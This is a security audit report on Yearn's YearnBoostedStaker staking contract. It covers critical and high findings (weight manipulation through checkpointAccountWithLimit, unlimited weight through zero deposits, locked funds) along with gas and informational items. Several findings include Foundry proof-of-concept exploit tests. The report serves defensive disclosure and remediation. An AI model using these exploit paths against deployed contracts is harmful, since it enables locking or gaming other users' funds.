yAudit yPrisma Review

Review Resources:

- Repository containing the codebase.

Auditors:

- Panda
- HHK

Table of Contents

1. yAudit yPrisma Review
    a. Review Summary
    b. Scope
    c. Code Evaluation Matrix
    d. Findings Explanation
    e. Critical Findings
        a. 1. Critical - Attacker can lock users funds or maintain weight post-withdrawal
            a. Technical Details
            b. Impact
            c. Recommendation
            d. Developer Response
    f. High Findings
        a. 1. High - Missing 0 `weight` check in `depositAsWeighted()` can result in unlimited `weight`
            a. Technical Details
            b. Impact

   - c Recommendation
   - d Developer Response
  - b 2. High - Early loop exit in `_checkpointAccount()` can result in `weight` loss
   - a Technical Details
   - b Impact
   - c Recommendation
   - d Developer Response
- g Medium Findings
  - a 1. Medium - Contract should not be utilized for making critical voting decisions
   - a Impact
   - b Recommendation
   - c Developer Response
  - b 2. Medium - Users using `depositAsWeighted()` will get their deposit locked for the first few weeks after launch
   - a Technical Details
   - b Impact
   - c Recommendation
   - d Developer Response
- h Low Findings
  - a 1. Low - Implementing Separate Permissions for Deposit and Withdrawal Operations
   - a Technical Details
   - b Impact
   - c Recommendation
   - d Developer Response
- i Gas Saving Findings
  - a 1. Gas - Duplicate `getWeek()` in `_withdraw()`
   - a Technical Details
   - b Impact
   - c Recommendation
   - d Developer Response

b 2. Gas - Consider using 0.8.22 and above if deploying only on Ethereum mainnet

a Technical Details

b Impact

c Recommendation

d Developer Response

c 3. Gas - Use `weight` to increment `globalGrowthRate` in `depositAsWeighted()`

a Technical Details

b Impact

c Recommendation

d Developer Response

d 4. Gas - Do not read `accountWeeklyRealized` when pendingStake is at zero

a Technical Details

b Impact

c Recommendation

d Developer Response

e 5. Gas - Save a `sload` in `_checkpointAccount()` on first deposit

a Technical Details

b Impact

c Recommendation

d Developer Response

f 6. Gas - Replace division and multiplication by 2 by bitshifting operations

a Technical Details

b Impact

c Recommendation

d Developer Response

g 7. Gas - `min()` called only once can be inlined

a Technical Details

b Impact

c Recommendation

d Developer Response

h 8. Gas - Use unchecked math
a Technical Details
b Impact
c Recommendation
d Developer Response
i 9. Gas - Return `accountData` in `_checkpointAccount()` to save a `SLOAD` on deposit and withdraw
a Technical Details
b Impact
c Recommendation
d Developer Response
j 10. Gas - Unneeded condition `getGlobalWeightAt()`
a Technical Details
b Impact
c Recommendation
d Developer Response
k 11. Gas - Don’t load `accountWeeklyWeights` on first deposit in `_checkpointAccount()`
a Technical Details
b Impact
c Recommendation
d Developer Response
j Informational Findings
a 1. Informational - Pragma directive seems incorrect
a Technical Details
b Impact
c Recommendation
d Developer Response
k Final remarks

Review Summary

Yearn finance BoostedStaker

YearnBoostedStaker contract is staking system that rewards long-term alignment by increasing weight as time goes.

The contracts of Yearn finance yearn-prisma were reviewed over 4 days. The code review was performed by 2 auditors between 16 January 2024 and 19 January 2024. The repository was under active development during the review, but the review was limited to the latest commit at the start of the review. This was commit 4b039d9518911601aeb0f4040b30e67c888e74fd for the yearn finance repo.

Scope

The scope of the review consisted of the following contracts at the specific commit:

- YearnBoostedStaker.sol

After the findings were presented to the yearn finance team, fixes were made and included in several PRs.

This review is a code review to identify potential vulnerabilities in the code. The reviewers did not investigate security practices or operational security and assumed that privileged accounts could be trusted. The reviewers did not evaluate the security of the code relative to a standard or specification. The review may not have identified all potential attack vectors or areas of vulnerability.

yAudit and the auditors make no warranties regarding the security of the code and do not warrant that the code is free from defects. yAudit and the auditors do not represent nor imply to third parties that the code has been audited nor that the code is free from defects. By deploying or using the code, yearn finance and users of the contracts agree to use the code at their own risk.

Code Evaluation Matrix

Category	Mark	Description
Access Control	Good	Proper access control mechanisms are in place, ensuring that only authorized entities can execute sensitive functions.
Mathematics	Good	Arithmetic operations are securely handled, mitigating risks like overflow/underflow and ensuring precision.
Complexity	Average	The contract maintains a balance between functionality and complexity, minimizing potential attack vectors due to overly complex code. However, during the audit, we identified critical and high-severity issues.
Libraries	Average	Low usage of libraries that match the code's average complexity. Utilizes a well-tested external library once where it is appropriate.
Decentralization	Good	The contract design aligns with decentralization principles, avoiding single points of failure or control.
Code stability	Good	No changes where made to the contract during the review.
Documentation	Average	Comprehensive presentation is provided in the README, NatSpec comments are available for every function of the contract.
Monitoring	Average	Contract has proper events emitted on changes, facilitating real-time monitoring and tracking of activities.
Testing and verification	Low	Some tests were not working when we ran the audit. More testing would have caught some of the issues we have found. The code coverage built within ape doesn't support solidity contracts.

Findings Explanation

Findings are broken down into sections by their respective impact:

- Critical, High, Medium, Low impact
  - These are findings that range from attacks that may cause loss of funds, impact control/ownership of the contracts, or cause any unintended consequences/actions that are outside the scope of the requirements.
- Gas savings
  - Findings that can improve the gas efficiency of the contracts.
- Informational
  - Findings including recommendations and best practices.

Critical Findings

1. Critical - Attacker can lock users funds or maintain weight post-withdrawal

The `checkpointAccountWithLimit()` method in the contract allows for the manipulation of deposits.

Technical Details

An attacker can exploit the `_checkpointAccount()` function by providing a `_week` value that is less than their `lastUpdateWeek`. This action circumvents most of the function's code but still updates the user's `lastUpdateWeek` (YearnBoostedStaker.sol, Line 360). The resulting inaccurate `lastUpdateWeek` can enable several attack scenarios:

Locking Victim's Tokens: An attacker can target another user's deposit, effectively locking their funds in the contract permanently. After the victim's deposit reaches maximum weight, the attacker can reset this weight to week zero, thus trapping the funds.

```
function test_lock_fundsPOC() external {
        ERC20 token = new LockedPrisma(); //ERC20 liquid locked prisma
        YearnBoostedStaker staking = new YearnBoostedStaker(token, 4, block.timestamp,
address(this));

        //deposit 100 tokens
        token.approve(address(staking), 100 ether);
        staking.deposit(100 ether);

        //skip 4 weeks so the bitmap will be completely erased on a checkpoint (shift 4
times so not read anymore)
        skip(4 weeks);
        staking.checkpointAccount(address(this));

        //rollback
        staking.checkpointAccountWithLimit(address(this), staking.getWeek() - 4);

        //check current weight has been reset to week 0 power
        staking.checkpointAccount(address(this));
        assertEq(staking.getAccountWeight(address(this)), 50 ether);

        //but our tokens are now realized and not pending so the `weight` update in
withdraw will underflow
        vm.expectRevert(stdError.arithmeticError);
        staking.withdraw(100 ether, address(this));
    }
```

Maintaining Maximum Weight Post-Withdrawal: An attacker can deposit tokens, wait to achieve maximum boosted weight, withdraw (setting their weight to zero), and then manipulate the weight back to its maximum by exploiting `_checkpointAccount()`.

```solidity
import "forge-std/Test.sol";
import {ERC20} from "@openzeppelin/contracts@v4.9.3/token/ERC20/ERC20.sol";
import {YearnBoostedStaker} from "../contracts/YearnBoostedStaker.sol";

contract LockedPrisma is ERC20 {
    constructor() ERC20("liquid locked prisma", "YPRISMA") {
        _mint(msg.sender, 100_000 ether);
    }
}

contract ContractTest is Test {
    function test_resetWeightPOC() external {
            ERC20 token = new LockedPrisma(); //ERC20 liquid locked prisma
            YearnBoostedStaker staking = new YearnBoostedStaker(token, 4,
block.timestamp, address(this));

            //deposit 100 tokens
            token.approve(address(staking), 100 ether);
            staking.deposit(100 ether);

            skip(6 weeks);
            staking.withdraw(100 ether, address(this));

            staking.checkpointAccountWithLimit(address(this), staking.getWeek() - 1);
            staking.checkpointAccount(address(this));

            assertEq(staking.getAccountWeight(address(this)), 250 ether);
        }
}
```

Impact

Critical. It allows user funds to be locked indefinitely and enables manipulation of weights.

Recommendation

To mitigate this vulnerability, the `_checkpointAccount()` function should be modified to revert if `_systemWeek` is not greater than the user's `lastUpdateWeek`.

Developer Response

Addressed by adding the following line in `_checkpointAccount()`

```
require(_systemWeek >= lastUpdateWeek, "specified week is older than last update.");
```

Slightly different than the recommendation (didn't include `=` case), which would have blocked users from making multiple deposits/withdrawal on the same week.

See changes

High Findings

1. High - Missing 0 `weight` check in `depositAsWeighted()` can result in unlimited `weight`

The function `depositAsWeighted()` updates the bitmap even when we deposit 0.

This can be used by an attacker to manipulate the bitmap and get his `weight` to keep increasing every week forever.

Technical Details

The function `depositAsWeighted()` can be used to deposit at any given week as long as it's less or equal to `MAX_STAKE_GROWTH_WEEKS`. This function is here to allow some helper contracts to deposit for users, so they need to wait less time to reach maximum boost.

This function acts differently than the normal `_deposit()` function. It doesn't check if the `weight` deposited is `> 0` to update the `updateWeeksBitmap`.

The `updateWeeksBitmap` is very important as it is used to determine when the deposit was made and how much the `weight` should increase. It needs to be always synced with `accountWeeklyRealized`.

By depositing 0 with week 0 in `depositAsWeighted()` and then depositing an amount `> 0` in `_deposit()` we get the `updateWeeksBitmap` to increment to 1 in the first call and then to 2 in the second call.

The contract now believes we staked last week but our `accountWeeklyRealized` says we deposited this week. This results in the 2 variables to not be synced anymore.

Because of that, the function `_checkpointAccount` will never clear our `pendingWeight` which will lead to our `weight` to keep increasing infinitely week after week.

Here is a POC that shows the attack:

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.15;

import "forge-std/Test.sol";
import {YearnBoostedStaker} from "../src/yPrisma.sol";
import {ERC20} from "openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";

contract LockedPrisma is ERC20 {
    constructor() ERC20("liquid locked prisma", "YPRISMA") {
        _mint(msg.sender, 100_000 ether);
    }
}

contract Test24 is Test {
    function test_infiniteWeightPOC() external {
        ERC20 token = new LockedPrisma(); //ERC20 liquid locked prisma
        YearnBoostedStaker staking = new YearnBoostedStaker(token, 4, block.timestamp,
address(this));

        //approve an helper contract, in our case we keep it simple and set the test
address
        staking.setWeightedDepositor(address(this), true);
        staking.setApprovedCaller(address(this), true);

        //deposit 0 tokens at idx 0
        staking.depositAsWeighted(address(this), 0, 0);

        //we can notice that the bitmap got incremented to 1 -> 00000001
        (,,,uint8 bitmap) = staking.accountData(address(this));
        assertEq(bitmap, 1);

        //deposit 100 tokens using the normal function now
        token.approve(address(staking), 100 ether);
        staking.deposit(100 ether);
        //we check our bitmap again, it has been incremented to 2 -> 00000010 which means
the contract thinks we deposited a week ago
        (,,, bitmap) = staking.accountData(address(this));
        assertEq(bitmap, 2);

        //we skip 4 weeks, our weight should be 50 * 5 like a normal deposit
        skip(4 weeks);
        staking.checkpointAccount(address(this));
        assertEq(staking.getAccountWeight(address(this)), 50 ether * 5);

        //We have an issue tho, the pending balance is still here
        (, uint112 pending,,) = staking.accountData(address(this));
        assertEq(pending, 50 ether);

        //This means, we continue to gain more weight every weeks, see after 4 more weeks
        skip(4 weeks);
        staking.checkpointAccount(address(this));
        assertEq(staking.getAccountWeight(address(this)), 50 ether * 9);
    }
}
```

Impact

High. Even if `depositAsWeighted()` will be limited to some helper contracts, if an attacker was able to use it, it could gain unlimited `weight`.

Recommendation

Revert when the `weight` deposited is 0 or at least don't update the `updateWeeksBitmap` in `depositAsWeighted()`.

Developer Response

Remediated with two changes:

1. The following line will effectively block any deposits where `weight == 0`.

`require(_amount > 1 && _amount < type(uint112).max, "invalid amount");`

1. Added an additional check for `weight > 0` prior to updating the bitmap.

`if (bitmap & mask != mask && weight > 0)`

See changes

2. High - Early loop exit in `_checkpointAccount()` can result in `weight` loss

The _checkpointAccount() as multiple loops including one that could return early thanks to a `break` statement.

In this case because of wrong variable, the `weight` of a user might not be stored resulting in some weeks returning 0 `weight`.

Technical Details

The _checkpointAccount() is in charge of storing the weekly `weight` of a user.

When the user has `pendingWeight` it goes into 2 different loops, the first one on line 333 is in charge of updating the increasing `weight` until we have no more `pendingWeight`. It has a `break` statement in case we have no more `pendingWeight` before we reach the `targetSyncWeek`, so we don't lose gas.

The first part of problem here is that we increment the variable `lastUpdateWeek` by one on every iteration but because of the early `break` statement the `lastUpdateWeek` will not reach `targetSyncWeek` value.

Then we get into a second loop on line 350, it is supposed to fill in any missing weeks, but it starts at `targetSyncWeek` or as we stated above we might not have filled all the weeks prior to `targetSyncWeek` because of the `break` statement.

This results in some weeks being missed so their `weight` will be 0.

If we update more than `MAX_STAKE_GROWTH_WEEKS` then only a few weeks will have a `weight = 0` and the recent weeks will be set to actual `weight`. But if we update less than `MAX_STAKE_GROWTH_WEEKS` the most recent week might be set to `weight = 0` and any upcoming update will keep setting it to 0 resulting in complete `weight` loss.

If the `weight` is reset to 0 then users won't be able to withdraw, loosing their balance.

Here is a POC:

The first test shows that we totally lost our `weight` while the second shows a momentary loss.

```
contract LockedPrisma is ERC20 {
    constructor() ERC20("liquid locked prisma", "YPRISMA") {
        _mint(msg.sender, 100_000 ether);
    }
}

contract Test24 is Test {
    function test_missedWeekAndUpcomingZeroPOC() external {
        ERC20 token = new LockedPrisma(); //ERC20 liquid locked prisma
        YearnBoostedStaker staking = new YearnBoostedStaker(token, 4, block.timestamp,
address(this));

        //approve an helper contract, in our case we keep it simple and set the test
address
        staking.setWeightedDepositor(address(this), true);
        staking.setApprovedCaller(address(this), true);

        //deposit 100 tokens at idx 2
        token.approve(address(staking), 100 ether);
        staking.depositAsWeighted(address(this), 100 ether, 2);

        //skip 4 weeks and checkpoint
        skip(4 weeks);
        staking.checkpointAccount(address(this));

        uint currentWeek = staking.getWeek();
        //Weeks with pending value are correctly set but because we don't reach
targetSyncWeek in the loop the last 2 weeks are not set
        assertEq(staking.getAccountWeightAt(address(this), currentWeek), 0);
        assertEq(staking.getAccountWeightAt(address(this), currentWeek - 1), 0);
        assertEq(staking.getAccountWeightAt(address(this), currentWeek - 2), 250 ether);
        assertEq(staking.getAccountWeightAt(address(this), currentWeek - 3), 200 ether);

        skip(4 weeks);
        staking.checkpointAccount(address(this));
        //Our weight is still 0
        assertEq(staking.getAccountWeightAt(address(this), currentWeek), 0);
    }

    function test_onlyMissedWeekZeroPOC() external {
        ERC20 token = new LockedPrisma(); //ERC20 liquid locked prisma
        YearnBoostedStaker staking = new YearnBoostedStaker(token, 4, block.timestamp,
address(this));

        //approve an helper contract, in our case we keep it simple and set the test
address
        staking.setWeightedDepositor(address(this), true);
        staking.setApprovedCaller(address(this), true);

        //deposit 100 tokens at idx 2
        token.approve(address(staking), 100 ether);
        staking.depositAsWeighted(address(this), 100 ether, 2);

        //skip 4 weeks and checkpoint
        skip(5 weeks);
        staking.checkpointAccount(address(this));

        uint currentWeek = staking.getWeek();
        //Weeks with pending value are correctly set but because we don't reach
targetSyncWeek in the loop 2 weeks are not set
        assertEq(staking.getAccountWeightAt(address(this), currentWeek), 250 ether);
        assertEq(staking.getAccountWeightAt(address(this), currentWeek - 1), 0);
        assertEq(staking.getAccountWeightAt(address(this), currentWeek - 2), 0);
        assertEq(staking.getAccountWeightAt(address(this), currentWeek - 3), 250 ether);
    }
}
```

Impact

High. User could lose their `weight` momentary (for x weeks) or indefinitely. In the later case users will also not be able to withdraw their balance anymore.

Recommendation

Use `lastUpdateWeek` in the loop line 350.

Developer Response

Medium Findings

1. Medium - Contract should not be utilized for making critical voting decisions

Although the voting power of veYFI or veCRV is determined by the time remaining until their unlock, the voting weight of the YearnBoostedStaker gradually increases and attains its maximum boost in 5 weeks, enabling the holder to vote and promptly unstake their funds. However, this method conflicts with the concept of ongoing dedication, wherein voting strength should represent a long-term investment and commitment to the project's objectives.

Impact

Medium. Contract shouldn't be used for important voting decisions.

Recommendation

Document the pitfall of the staking mechanics when it comes to voting power.

Developer Response

Agree that this mechanic has different properties than more well-established systems like veYFI or veCRV and should be thoroughly discussed with governance communities before adopting it for particular functions. However, I think the contract should remain as an agnostic utility, and not enumerate and opine on various use cases in the code comments.

2. Medium - Users using `depositAsWeighted()` will get their deposit locked for the first few weeks after launch

The function `depositAsWeighted()` allows depositing with a boosted `weight`.

But because of a possible underflow in the `_withdraw()` function, users will not be able to withdraw for the first few weeks after the contract launch.

Technical Details

The function `depositAsWeighted()` allows boosted `weight` by setting the `updateWeeksBitmap` and `accountWeeklyRealized` like we deposited earlier than the current week.

But in the `_withdraw()` function, when trying to find the `pending` tokens of the users by looping through the previous week we could get into an underflow.

On line 229 we calculate the `weekToCheck` by subtracting the `weekIndex` to the current week. The problem here is that the current week could be smaller than the `weekIndex` due to the ability of depositing in the past given by the `depositAsWeighted()` function causing an underflow.

User using `depositAsWeighted()` will have to wait that the current week reaches a certain amount up to `MAX_STAKE_GROWTH_WEEKS` before being able to withdraw.

Here is a POC:

```
contract LockedPrisma is ERC20 {
    constructor() ERC20("liquid locked prisma", "YPRISMA") {
        _mint(msg.sender, 100_000 ether);
    }
}

contract Test24 is Test {
    function test_withdrawUnderflowPOC() external {
        ERC20 token = new LockedPrisma(); //ERC20 liquid locked prisma
        YearnBoostedStaker staking = new YearnBoostedStaker(token, 4, block.timestamp,
address(this));

        //approve an helper contract, in our case we keep it simple and set the test
address
        staking.setWeightedDepositor(address(this), true);
        staking.setApprovedCaller(address(this), true);

        //deposit 100 tokens at idx 2
        token.approve(address(staking), 100 ether);
        staking.depositAsWeighted(address(this), 100 ether, 2);

        //go forward by one week
        skip(1 weeks);

        //User change his mind and tries to withdraw but it reverts with underflow
        vm.expectRevert(stdError.arithmeticError);
        staking.withdraw(100 ether, address(this));

        //go forward by one week again, user is now able to withdraw
        skip(1 weeks);
        staking.withdraw(100 ether, address(this));
    }
}
```

Impact

Medium. If `depositAsWeighted()` was enabled at launch to give a boost to new users, these same users might not be able to withdraw for the first few weeks after launch.

Recommendation

Replace the `weekToCheck` calculation with:

```
uint weekToCheck = systemWeek + MAX_STAKE_GROWTH_WEEKS - weekIndex;
```

And replace all the `weekToCheck + MAX_STAKE_GROWTH_WEEKS` with `weekToCheck`.

This will also save gas.

Developer Response

Updated with recommended fix. See changes

Low Findings

1. Low - Implementing Separate Permissions for Deposit and Withdrawal Operations

The smart contract allows a single address to have both deposit and withdrawal permissions. This setup means that any address approved to deposit funds on behalf of the user is also implicitly granted the ability to withdraw funds, potentially to a custom `_receiver`.

Technical Details

YearnBoostedStaker.sol#L91 YearnBoostedStaker.sol#L203

Impact

Low. Users must be informed that approving for deposit could also result in funds being drained but the approved depositor.

Recommendation

Create an enum representing the approval.

```
enum ApprovalStatus {
        NotApproved,  // Default value, indicating no approval
        DepositOnly,  // Approved for deposit only
        WithdrawalOnly, // Approved for withdrawal only
        DepositAndWithdrawal // Approved for both deposit and withdrawal
    }
```

Using an `enum` type, switch the `setApprovedCaller` to set an enum value that represents the approval status.

Developer Response

Gas Saving Findings

1. Gas - Duplicate `getWeek()` in `_withdraw()`

Technical Details

In the function `_withdraw()` the variable `systemWeek` is set to `getWeek()` at the beginning of the execution on line 210 and set again later to `getWeek()` on line 265 even tho it didn't change.

Impact

Gas.

Recommendation

Remove duplicate `systemWeek = getWeek();`.

Developer Response

Updated with recommended fix. See changes

2. Gas - Consider using 0.8.22 and above if deploying only on Ethereum mainnet

Technical Details

The contract has a `for` loop that could use solidity 0.8.22 gas optimization.

This version of solidity removes the overflow check when `i` and the condition of the `for` loop are of the same type. See the changelog.

Impact

Gas.

Recommendation

If the contract is deployed on mainnet then consider using solidity 0.8.22 and above.

Developer Response

Bumped to: `pragma solidity ^0.8.22;` See changes

3. Gas - Use `weight` to increment `globalGrowthRate` in `depositAsWeighted()`

Technical Details

In the function `depositAsWeighted()` the `globalGrowthRate` is incremented with `amount / 2`, although we could use `weight` which is already divided by 2 like in the `_deposit()` function.

Impact

Gas.

Recommendation

Use `weight` instead of `amount / 2` to increment `globalGrowthRate`.

Developer Response

See changes

4. Gas - Do not read `accountWeeklyRealized` when pendingStake is at zero

In case `pendingStake` is zero before it gets added to the `weight`, there is no current growth, it's possible to save a read to the storage on line 115

Technical Details

YearnBoostedStaker.sol#L115

Impact

Gas.

Recommendation

Do not read the storage variable when there is no growth.

Developer Response

Implemented recommendation. See changes

5. Gas - Save a `sload` in `_checkpointAccount()` on first deposit

Technical Details

In the function `_checkpointAccount()` the `accountWeeklyWeights` is loaded from storage but is not needed when a user deposits for the first time.

We could check `pendingStake` and `realizedStake` or directly `lastUpdateWeek` that have already been loaded to know if we need to just update the `lastUpdateWeek` and return early.

Impact

Gas.

Recommendation

Don't load the `accountWeeklyWeights` when a user is depositing for the first time.

Developer Response

Acknowledged, but ignoring. Good idea, but prefer to keep it for the code readability. Also, inserting a check will increase (marginally) gas for active users.

6. Gas - Replace division and multiplication by 2 by bitshifting operations

Bitshifting operations (« and ») have a lower gas cost compared to multiplication (*) and division (/).

Technical Details

See the following lines: L108 L109 L157 L158 L169 L221 L222 L253

Impact

Gas.

Recommendation

Replace division and multiplication by bit-shifting operations.

Developer Response

Implemented recommended fix. See changes

7. Gas - `min()` called only once can be inlined

Not inlining the logic incurs an additional 20 to 40 gas due to the introduction of extra `JUMP` instructions and stack operations required for function calls.

Technical Details

The `min()` function can be inlined to save gas.

Impact

Gas.

Recommendation

Inline the `min()` function.

Developer Response

Acknowledged, but ignoring. Keeping it to maintain better code readability.

8. Gas - Use unchecked math

Add `unchecked {}` for operations where operands are certain to not underflow.

Technical Details

`unchecked {}` can be used for the following operations:

- YearnBoostedStaker.sol#L114
- YearnBoostedStaker.sol#L170
- YearnBoostedStaker.sol#L550
- YearnBoostedStaker.sol#L225

These divisions by two should be replaced by bit shifting but if they aren't, usage of unchecked is possible:

- YearnBoostedStaker.sol#L108
- YearnBoostedStaker.sol#L157,
- YearnBoostedStaker.sol#L169,
- YearnBoostedStaker.sol#L221
- YearnBoostedStaker.sol#L253

Impact

Gas.

Recommendation

Use unchecked math.

Developer Response

Updated to use unchecked math in spots where it didn't greatly impact the code readability. Updated divisions by two with bit shifting. See changes

9. Gas - Return `accountData` in `_checkpointAccount()` to save a `SLOAD` on deposit and withdraw

Technical Details

The `_checkpointAccount()` function loads and update the `accountData` which is then loaded again in deposit/withdraw. To save a `SLOAD` it could return the updated `accountData` so those deposit/withdraw functions can reuse it.

Impact

Gas.

Recommendation

Update the return statement of `_checkpointAccount()` function to return a tuple with `weight` and `accountData`.

Developer Response

Implemented as recommended. See changes

10. Gas - Unneeded condition `getGlobalWeightAt()`

Technical Details

In the `getGlobalWeightAt()` function there is an if condition line 477 that has 2 possible successful case.

The second one `lastUpdateWeek >= systemWeek` is not needed and will never return `true`. Because `lastUpdateWeek` will never be bigger than `systemWeek` and if it is equal then the condition on line 474 would return true because `week` cannot be bigger than `systemWeek`.

Impact

Gas.

Recommendation

Remove `|| lastUpdateWeek >= systemWeek` from the condition.

Developer Response

Condition removed as recommended.

11. Gas - Don't load `accountWeeklyWeights` on first deposit in `_checkpointAccount()`

Technical Details

In the `_checkpointAccount()` function we always load `accountWeeklyWeights` but if `pendingStake` and `realizedStake` are 0 then it would mean it's a first deposit, and we could just update `lastUpdateWeek` and return 0.

Impact

Gas.

Recommendation

Add a new condition to return early without loading `accountWeeklyWeights` on first deposit or modify the condition line 317 to load only if `realizedStake > 0` and then load it after the condition.

Developer Response

One variation of recommended optimization has been implemented.

Informational Findings

1. Informational - Pragma directive seems incorrect

The pragma allows usage of solidity 0.8.19 and 0.8.20, these two versions will not compile the contract, and version 0.8.21 should be the minimal required version.

Technical Details

Before version 0.8.12 immutable variables can't be written inside an if statement. Compiling the code with 0.8.19 will fail with the error:

```
Error: Cannot write to immutable here: Immutable variables cannot be initialized inside
an if statement.
  --> contracts/YearnBoostedStaker.sol:72:13:
   |
72 |             START_TIME = block.timestamp;
   |             ^^^^^^^^^^

Error: Cannot write to immutable here: Immutable variables cannot be initialized inside
an if statement.
  --> contracts/YearnBoostedStaker.sol:76:13:
   |
76 |             START_TIME = _start_time;
   |             ^^^^^^^^^^
```

Impact

Informational.

Recommendation

Bump solidity version to 0.8.21.

Developer Response

Bumped to: `pragma solidity ^0.8.22;` See changes

Final remarks

The review of the Yearn finance BoostedStaker contract revealed a robust and well-structured system, albeit with some critical and high-severity issues. While the codebase demonstrates good practices in areas such as access control, mathematics, and decentralization, it also displays complexities and potential risks in its current form, particularly regarding the `checkpointAccountWithLimit()` and `depositAsWeighted()` functions. It's imperative for the Yearn finance team to address these findings and provide better testing to ensure the security and efficiency of the contract.